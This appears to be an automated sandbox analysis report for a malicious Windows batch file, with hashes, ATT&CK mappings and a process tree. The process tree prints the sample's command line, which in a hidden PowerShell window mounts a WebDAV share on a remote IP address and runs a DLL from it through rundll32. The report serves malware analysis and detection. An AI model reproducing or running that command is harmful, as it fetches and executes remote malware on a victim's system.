fc0b2dc495e57769f7e29ee3b71d3930b85a3ab0ad2a44c022501d2fa7101299

Resubmissions

14/07/2024, 02:46

240714-c9b92atepl 8

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 02:46

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General

Target

14871121613120314923.bat
Size

2KB
MD5

0d08ba9e484cc158320153b3a1dc6e2d
SHA1

5419129ee86013e62865985c62b62a4ef2626ec6
SHA256

fc0b2dc495e57769f7e29ee3b71d3930b85a3ab0ad2a44c022501d2fa7101299
SHA512

4e2be27781fee03bcc5daedf440a57755f0994927a21de30812892c5e701841df492d03f09869216206c0856c86c2268d8a3e338932f1bd1bd0860d8b00d0ebb

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1268	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1268	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1956	wordpad.exe
1956	wordpad.exe
1956	wordpad.exe
1956	wordpad.exe
1956	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 1956	1728	cmd.exe	31
PID 1728 wrote to memory of 1956	1728	cmd.exe	31
PID 1728 wrote to memory of 1956	1728	cmd.exe	31
PID 1728 wrote to memory of 1268	1728	cmd.exe	32
PID 1728 wrote to memory of 1268	1728	cmd.exe	32
PID 1728 wrote to memory of 1268	1728	cmd.exe	32
PID 1268 wrote to memory of 2868	1268	powershell.exe	34
PID 1268 wrote to memory of 2868	1268	powershell.exe	34
PID 1268 wrote to memory of 2868	1268	powershell.exe	34
PID 1268 wrote to memory of 2804	1268	powershell.exe	35
PID 1268 wrote to memory of 2804	1268	powershell.exe	35
PID 1268 wrote to memory of 2804	1268	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\14871121613120314923.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\118.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2868
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\118.dll entry
    3⤵
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1268-23-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/1268-24-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/1728-17-0x0000000002460000-0x0000000002560000-memory.dmp

Filesize
1024KB

Download
memory/1728-16-0x0000000002460000-0x0000000002560000-memory.dmp

Filesize
1024KB

Download